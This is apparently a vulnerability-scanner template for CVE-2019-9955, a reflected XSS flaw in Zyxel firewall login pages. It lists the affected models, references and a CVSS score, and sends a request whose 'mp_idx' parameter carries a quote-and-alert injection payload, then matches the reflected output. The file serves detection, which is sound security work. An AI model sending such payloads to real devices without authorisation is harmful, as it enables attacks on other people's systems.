id: CVE-2019-9955

info:
  name: Zyxel Reflected Cross-site Scripting
  author: pdteam
  severity: medium
  tags: cve,cve2019,xss,zyxel
  description: On Zyxel ATP200, ATP500, ATP800, USG20-VPN, USG20W-VPN, USG40, USG40W, USG60, USG60W, USG110, USG210, USG310, USG1100, USG1900, USG2200-VPN, ZyWALL 110, ZyWALL 310, ZyWALL 1100 devices, the security firewall login page is vulnerable to Reflected XSS via the unsanitized 'mp_idx' parameter.
  reference:
    http://packetstormsecurity.com/files/152525/Zyxel-ZyWall-Cross-Site-Scripting.html
    http://seclists.org/fulldisclosure/2019/Apr/22
    https://www.exploit-db.com/exploits/46706/
    https://www.securitymetrics.com/blog/Zyxel-Devices-Vulnerable-Cross-Site-Scripting-Login-page
    https://www.zyxel.com/support/reflected-cross-site-scripting-vulnerability-of-firewalls.shtml
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2019-9955
    cwe-id: CWE-79

requests:
  - method: GET
    path:
      - "{{BaseURL}}/?mp_idx=%22;alert(%271%27);//"

    matchers:
      - type: word
        part: body
        words:
          - "\";alert('1');//"
          - "<title>Welcome</title>"
        condition: and